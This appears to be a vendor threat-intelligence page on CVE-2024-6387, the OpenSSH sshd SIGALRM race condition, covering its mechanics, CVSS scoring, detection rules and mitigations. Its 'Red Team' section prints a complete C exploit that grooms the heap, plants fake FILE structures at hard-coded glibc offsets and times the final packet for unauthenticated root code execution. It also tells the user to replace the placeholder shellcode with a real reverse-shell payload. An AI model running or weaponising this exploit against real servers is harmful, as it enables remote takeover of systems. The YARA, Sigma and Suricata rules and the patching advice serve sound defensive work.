CVE-2024-6387
Executive Summary
CVE-2024-6387 is a critical race condition vulnerability in OpenSSH's server (sshd), representing a regression of CVE-2006-5051. The flaw resides in the signal handler for SIGALRM, which is used to enforce the LoginGraceTime limit. Under specific timing conditions, an unauthenticated, remote attacker can cause sshd to call async-signal-unsafe functions (e.g., free(), syslog()) from within the signal handler context. This can lead to heap corruption and, on glibc-based Linux systems, arbitrary code execution as root. The vulnerability is particularly dangerous because it requires no authentication and can be triggered over the network. The provided exploit code demonstrates a sophisticated technique involving heap grooming, ASLR bypass, and precise timing to win the race condition, with an estimated 10,000 attempts needed for success.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the OpenSSH server package, which is a core component of virtually all Linux distributions and many network appliances. The supply chain risk is high because OpenSSH is ubiquitous and often runs with elevated privileges. A successful exploit could allow an attacker to gain root access to any vulnerable system, leading to complete compromise, lateral movement, and data exfiltration. Organizations must prioritize patching and monitoring for exploitation attempts.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): High (H) - Successful exploitation requires precise timing and multiple attempts, making it non-trivial.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - No user action is required.
- Scope (S): Unchanged (U) - The exploit does not cross a trust boundary.
- Confidentiality (C): High (H) - Full system compromise is possible.
- Integrity (I): High (H) - An attacker can modify system files.
- Availability (A): High (H) - An attacker can cause a denial of service or take full control.
Threat Level: Critical. The ability to achieve remote code execution as root without authentication makes this a top-priority vulnerability for remediation.
Deep Dive & Mechanics
The vulnerability is a classic signal handler race condition. The sshd process sets a SIGALRM timer when a new connection is established. If the client fails to authenticate within the LoginGraceTime (default 120 seconds), the signal handler is invoked. The handler is supposed to cleanly terminate the connection. However, due to a regression, the handler calls functions like free() and syslog(), which are not safe to call from a signal handler because they are not reentrant and can corrupt global state (e.g., the heap).
The exploit works by:
- Heap Grooming: The attacker sends a series of carefully crafted SSH packets to manipulate the heap layout of the
sshdprocess. This creates a specific pattern of allocated and freed memory chunks. - Timing: The attacker measures the time it takes for
sshdto parse a public key. This is used to calculate the precise moment to send the final byte of an authentication packet, aiming to trigger theSIGALRMsignal whilesshdis in a vulnerable state (e.g., insidesshkey_from_blob()). - Race Condition: The attacker sends a large public key packet, withholding the last byte. They then wait until just before the
LoginGraceTimeexpires and send the final byte. If the timing is correct, theSIGALRMfires whilesshdis processing the key, causing the unsafe signal handler to corrupt the heap. - Code Execution: The heap corruption is leveraged to overwrite a
FILEstructure's vtable pointer. By controlling the vtable, the attacker redirects execution to shellcode placed in the heap, achieving remote code execution as root.
Vulnerable vs. Patched Code
The core issue is the use of async-signal-unsafe functions within the SIGALRM handler.
Vulnerable Code (Conceptual):
void sigalrm_handler(int signo) {
// UNSAFE: Calls functions that are not async-signal-safe
syslog(LOG_INFO, "Timeout before authentication");
free(some_global_buffer); // Potential double-free or use-after-free
exit(1);
}
Patched Code (Conceptual):
void sigalrm_handler(int signo) {
// SAFE: Uses only async-signal-safe functions
const char msg[] = "Timeout before authentication\n";
write(STDERR_FILENO, msg, sizeof(msg) - 1);
_exit(1); // _exit() is safe, exit() is not
}
The patched version avoids calling syslog() and free(), instead using write() and _exit(), which are guaranteed to be safe in a signal handler context.
Exploitation & Lab Setup
Red Team
The provided exploit code targets glibc-based Linux systems. It requires precise knowledge of the target's glibc version to determine the correct base addresses and structure offsets.
Usage:
- Compile:
gcc -o exploit exploit.c -lpthread - Run:
./exploit <target_ip> <target_port> - Wait: The exploit will attempt up to 20,000 connections. On average, success is expected after ~10,000 attempts.
- Post-Exploitation: Upon success, the exploit will attempt to interact with a shell. The shellcode placeholder (
\x90\x90\x90\x90) must be replaced with a real payload (e.g., a reverse shell).
Full Exploit Code:
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);
int
main (int argc, char *argv[])
{
if (argc != 3)
{
fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
exit (1);
}
const char *ip = argv[1];
int port = atoi (argv[2]);
double parsing_time = 0;
int success = 0;
srand (time (NULL));
// Attempt exploitation for each possible glibc base address
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n",
glibc_base);
// The advisory mentions "~10,000 tries on average"
for (int attempt = 0; attempt < 20000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 20000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt
%d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n",
attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with
glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
break;
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in
the
// advisory
}
}
return !success;
}
int
setup_connection (const char *ip, int port)
{
int sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror ("socket");
return -1;
}
struct sockaddr_in server_addr;
memset (&server_addr, 0, sizeof (server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
{
perror ("inet_pton");
close (sock);
return -1;
}
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
< 0)
{
perror ("connect");
close (sock);
return -1;
}
// Set socket to non-blocking mode
int flags = fcntl (sock, F_GETFL, 0);
fcntl (sock, F_SETFL, flags | O_NONBLOCK);
return sock;
}
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
size_t len)
{
unsigned char packet[MAX_PACKET_SIZE];
size_t packet_len = len + 5;
packet[0] = (packet_len >> 24) & 0xFF;
packet[1] = (packet_len >> 16) & 0xFF;
packet[2] = (packet_len >> 8) & 0xFF;
packet[3] = packet_len & 0xFF;
packet[4] = packet_type;
memcpy (packet + 5, data, len);
if (send (sock, packet, packet_len, 0) < 0)
{
perror ("send_packet");
}
}
void
send_ssh_version (int sock)
{
const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
{
perror ("send ssh version");
}
}
int
receive_ssh_version (int sock)
{
char buffer[256];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer) - 1, 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
buffer[received] = '\0';
printf ("Received SSH version: %s", buffer);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving SSH version\n");
}
else
{
perror ("receive ssh version");
}
return -1;
}
void
send_kex_init (int sock)
{
unsigned char kexinit_payload[36] = { 0 };
send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}
int
receive_kex_init (int sock)
{
unsigned char buffer[1024];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
printf ("Received KEX_INIT (%zd bytes)\n", received);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
}
else
{
perror ("receive kex init");
}
return -1;
}
int
perform_ssh_handshake (int sock)
{
send_ssh_version (sock);
if (receive_ssh_version (sock) < 0)
return -1;
send_kex_init (sock);
if (receive_kex_init (sock) < 0)
return -1;
return 0;
}
void
prepare_heap (int sock)
{
// Packet a: Allocate and free tcache chunks
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset (tcache_chunk, 'A', sizeof (tcache_chunk));
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
// These will be freed by the server, populating tcache
}
// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
for (int i = 0; i < 27; i++)
{
// Allocate large chunk (~8KB)
unsigned char large_hole[8192];
memset (large_hole, 'B', sizeof (large_hole));
send_packet (sock, 5, large_hole, sizeof (large_hole));
// Allocate small chunk (320B)
unsigned char small_hole[320];
memset (small_hole, 'C', sizeof (small_hole));
send_packet (sock, 5, small_hole, sizeof (small_hole));
}
// Packet c: Write fake headers, footers, vtable and _codecvt pointers
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure (fake_data, sizeof (fake_data),
GLIBC_BASES[0]);
send_packet (sock, 5, fake_data, sizeof (fake_data));
}
// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset (large_string, 'E', sizeof (large_string));
send_packet (sock, 5, large_string, sizeof (large_string));
}
void
create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base)
{
memset (data, 0, size);
struct
{
void *_IO_read_ptr;
void *_IO_read_end;
void *_IO_read_base;
void *_IO_write_base;
void *_IO_write_ptr;
void *_IO_write_end;
void *_IO_buf_base;
void *_IO_buf_end;
void *_IO_save_base;
void *_IO_backup_base;
void *_IO_save_end;
void *_markers;
void *_chain;
int _fileno;
int _flags;
int _mode;
char _unused2[40];
void *_vtable_offset;
} *fake_file = (void *)data;
// Set _vtable_offset to 0x61 as described in the advisory
fake_file->_vtable_offset = (void *)0x61;
// Set up fake vtable and _codecvt pointers
*(uint64_t *)(data + size - 16)
= glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
*(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}
void
time_final_packet (int sock, double *parsing_time)
{
double time_before = measure_response_time (sock, 1);
double time_after = measure_response_time (sock, 2);
*parsing_time = time_after - time_before;
printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}
double
measure_response_time (int sock, int error_type)
{
unsigned char error_packet[1024];
size_t packet_size;
if (error_type == 1)
{
// Error before sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
}
else
{
// Error after sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
}
struct timespec start, end;
clock_gettime (CLOCK_MONOTONIC, &start);
send_packet (sock, 50, error_packet,
packet_size); // SSH_MSG_USERAUTH_REQUEST
char response[1024];
ssize_t received;
do
{
received = recv (sock, response, sizeof (response), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
clock_gettime (CLOCK_MONOTONIC, &end);
double elapsed
= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
return elapsed;
}
void
create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base)
{
memset (packet, 0, size);
size_t offset = 0;
for (int i = 0; i < 27; i++)
{
// malloc(~4KB) - This is for the large hole
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
offset += CHUNK_ALIGN (4096);
// malloc(304) - This is for the small hole (potential FILE structure)
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
offset += CHUNK_ALIGN (304);
}
// Add necessary headers for the SSH public key format
memcpy (packet, "ssh-rsa ", 8);
// Place shellcode in the heap via previous allocations
memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13,
shellcode,
sizeof (shellcode));
// Set up the fake FILE structures within the packet
for (int i = 0; i < 27; i++)
{
create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
+ CHUNK_ALIGN (304) * i,
CHUNK_ALIGN (304), glibc_base);
}
}
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
unsigned char final_packet[MAX_PACKET_SIZE];
create_public_key_packet (final_packet, sizeof (final_packet),
glibc_base);
// Send all but the last byte
if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
{
perror ("send final packet");
return 0;
}
// Precise timing for last byte
struct timespec start, current;
clock_gettime (CLOCK_MONOTONIC, &start);
while (1)
{
clock_gettime (CLOCK_MONOTONIC, ¤t);
double elapsed = (current.tv_sec - start.tv_sec)
+ (current.tv_nsec - start.tv_nsec) / 1e9;
if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
{ // 1ms before SIGALRM
if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) <
0)
{
perror ("send last byte");
return 0;
}
break;
}
}
// Check for successful exploitation
char response[1024];
ssize_t received = recv (sock, response, sizeof (response), 0);
if (received > 0)
{
printf ("Received response after exploit attempt (%zd bytes)\n",
received);
// Analyze response to determine if we hit the "large" race window
if (memcmp (response, "SSH-2.0-", 8) != 0)
{
printf ("Possible hit on 'large' race window\n");
return 1;
}
}
else if (received == 0)
{
printf (
"Connection closed by server - possible successful
exploitation\n");
return 1;
}
else if (errno == EWOULDBLOCK || errno == EAGAIN)
{
printf ("No immediate response from server - possible successful "
"exploitation\n");
return 1;
}
else
{
perror ("recv");
}
return 0;
}
int
perform_exploit (const char *ip, int port)
{
int success = 0;
double parsing_time = 0;
double timing_adjustment = 0;
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n",
glibc_base);
for (int attempt = 0; attempt < 10000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 10000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt
%d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n",
attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
// Implement feedback-based timing strategy
parsing_time += timing_adjustment;
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with
glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
// In a real exploit, we would now attempt to interact with
the
// shell
}
else
{
// Adjust timing based on feedback
timing_adjustment += 0.00001; // Small incremental adjustment
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in
the
// advisory
}
}
return success;
}
Blue Team
Detection:
- Monitor for a high volume of failed SSH connections from a single source IP within a short time window (e.g., >1000 attempts in 5 minutes).
- Look for SSH connections that send unusually large packets or perform a large number of heap-grooming operations before authentication.
- Monitor for
sshdcrashes or core dumps, which may indicate a failed exploitation attempt.
Honeypot:
- Deploy a low-interaction SSH honeypot (e.g., Cowrie) to capture exploit attempts. The exploit's heap grooming packets will appear as malformed or oversized SSH messages.
Mitigation:
- Immediate: If a patch is not available, consider setting
LoginGraceTime 0in/etc/ssh/sshd_config. This disables the timeout, but may lead to resource exhaustion. - Workaround: Use a firewall to restrict SSH access to trusted IPs only.
- Long-term: Apply the vendor patch as soon as it is released.
Indicators of Compromise (IOCs)
- Network:
- Multiple SSH connections from the same IP with rapid, incomplete handshakes.
- SSH packets with unusual sizes (e.g., 256KB public key packets).
- Connections that send a large number of
SSH_MSG_IGNORE(type 5) packets before authentication.
- Host:
sshdprocess crashes or segmentation faults.- Core dumps in
/var/crash/or/var/log/related tosshd. - Unusual entries in
/var/log/auth.logor/var/log/secureindicating repeated failed authentication attempts followed by a crash. - Presence of a reverse shell or unexpected process running as root.
- File System:
- Modified
sshdbinary or configuration files. - Suspicious files in
/tmp/or/dev/shm/created by a post-exploitation shell.
- Modified
Detection Engineering
YARA Rule
rule CVE_2024_6387_Exploit_Packet {
meta:
description = "Detects network packets associated with CVE-2024-6387 exploit"
author = "Valters IT"
date = "2025-04-16"
reference = "CVE-2024-6387"
strings:
$ssh_header = "SSH-2.0-"
$heap_groom = { 41 41 41 41 } // 'AAAA' pattern from heap grooming
$large_packet = { 00 04 00 00 } // 256KB packet length indicator
condition:
$ssh_header at 0 and (#heap_groom > 100) and $large_packet
}
Sigma Rule
title: CVE-2024-6387 SSH Race Condition Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects a high volume of failed SSH connections from a single source, indicative of CVE-2024-6387 exploitation attempts.
author: Valters IT
date: 2025-04-16
logsource:
category: authentication
product: linux
detection:
selection:
EventID: 22 # SSH failed login (adjust for your system)
SourceIP: '*'
timeframe: 5m
condition:
selection | count(SourceIP) > 1000
falsepositives:
- Legitimate brute-force attacks
- Misconfigured monitoring tools
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2024-6387 SSH Race Condition Exploit Attempt"; flow:to_server,established; content:"SSH-2.0-"; depth:8; byte_test:4,>,65535,0,relative; threshold:type both, track by_src, count 1000, seconds 300; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch: Apply the official patch from your Linux distribution vendor as soon as it is released. This is the only complete fix.
- Workaround: If patching is not immediately possible, set
LoginGraceTime 0in/etc/ssh/sshd_configand restart thesshdservice. Warning: This may allow an attacker to exhaust server resources by opening many connections and never authenticating. - Network Segmentation: Restrict SSH access to only trusted IP addresses using firewall rules (e.g.,
iptables,nftables, cloud security groups). - Monitoring: Implement the detection rules provided above to identify and alert on exploitation attempts.
- Harden SSH: Disable root login (
PermitRootLogin no), use key-based authentication only, and consider using a more modern authentication mechanism likesssdorLDAP.
Valters IT - Your Trusted Partner in DevSecOps and Cyber Threat Intelligence.
{/* [Security Hash: 2F9893E90CA3B37D0D5721B6] */}